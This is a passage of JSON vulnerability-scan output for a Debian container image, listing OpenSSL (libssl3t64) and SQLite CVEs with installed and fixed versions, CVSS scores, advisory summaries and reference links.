"https://access.redhat.com/security/cve/CVE-2026-119379", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/session/sqlite3session.c#L5619", "https://github.com/sqlite/sqlite/commit/64459c87cc702d600704fb77ee40ca1782398a52", "https://nvd.nist.gov/vuln/detail/CVE-2026-119379", "https://sqlite.org/bugs/info/2026-08-16T10:15:25Z", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/3f57024aecea0f3b", "https://www.cve.org/CVERecord?id=CVE-2026-119379", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-heap-buffer-overflow-via-session-extension-sessionupdatefind" ], "PublishedDate": "2026-10-30T12:16:36.967Z", "LastModifiedDate": "2026-11-03T15:38:24.827Z" }, { "VulnerabilityID": "CVE-2026-31789", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3t64@3.5.4-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31789", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7644d28ffc95f3481b9df02b3069549debe59794fd673fd73239249fd3a44e40", "Title": "openssl: OpenSSL: Heap buffer overflow on 32-bit systems from large X.509 certificate processing", "Description": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "julia": 4, "nvd": 4, "photon": 4, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31789", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://github.com/advisories/GHSA-j79m-9jxq-788r", "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde", "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf", "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49", "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9", "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521", "https://nvd.nist.gov/vuln/detail/CVE-2026-31789", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://www.cve.org/CVERecord?id=CVE-2026-31789", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.617Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-14456", "VendorIDs": [ "DSA-6465-1" ], "PkgID": "libssl3t64@3.5.4-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:23310bef8c0b1f188ac5a52642de271298630f8e90a376c4a6d23a84b261743f", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-28387", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3t64@3.5.4-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28387", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:df3658dbcc59ff0b2cbed90a11faec6f2e50ba689a1bfaad3633ea3279c91a42", "Title": "openssl: OpenSSL: Arbitrary code execution due to use-after-free in DANE TLSA authentication", "Description": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as 'unusable' any TLSA records that have the PKIX\ncertificate usages. These SMTP (or other similar) clients are not vulnerable\nto this issue. Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28387", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b", "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe", "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3", "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7", "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177", "https://nvd.nist.gov/vuln/detail/CVE-2026-28387", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28387", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.7Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28388", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3t64@3.5.4-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28388", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:54b39e6d4d85c738f1c4465bf4bab86ee359c423f57fe8bb9016f9471c43ffb1", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in delta CRL processing", "Description": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28388", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e", "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139", "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3", "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8", "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726", "https://nvd.nist.gov/vuln/detail/CVE-2026-28388", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28388", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.863Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28389", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3t64@3.5.4-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28389", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b8d24883041310fca0117938ed4f397ac1ab018d030b91277faf876338f49fed", "Title": "openssl: OpenSSL: Denial of Service vulnerability in CMS processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28389", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/advisories/GHSA-7x88-9hgc-69gf", "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5", "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616", "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f", "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a", "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686", "https://nvd.nist.gov/vuln/detail/CVE-2026-28389", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28389", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.03Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28390", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "libssl3t64@3.5.4-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.5-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28390", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7be55ab1dfdbcde029bc596fb90f278518cda4b5187003efc27004eeabe22aa1", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22312", "https://access.redhat.com/errata/RHSA-2026:22313", "https://access.redhat.com/security/cve/CVE-2026-28390", "https://bugzilla.redhat.com/2456314", "https://bugzilla.redhat.com/show_bug.cgi?id=2456314", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28390", "https://errata.almalinux.org/9/ALSA-2026-22313.html", "https://errata.rockylinux.org/RLSA-2026:22312", "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc", "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6", "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4", "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788", "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75", "https://linux.oracle.com/cve/CVE-2026-28390.html", "https://linux.oracle.com/errata/ELSA-2026-50345.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-28390", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28390", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.19Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-45447", "VendorIDs": [ "DSA-6335-1" ], "PkgID": "libssl3t64@3.5.4-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.6-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1ccff50c9afa5c1c1cbbfd11bdd26acc524b560dcb41824fe90c93e760cdc309", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", 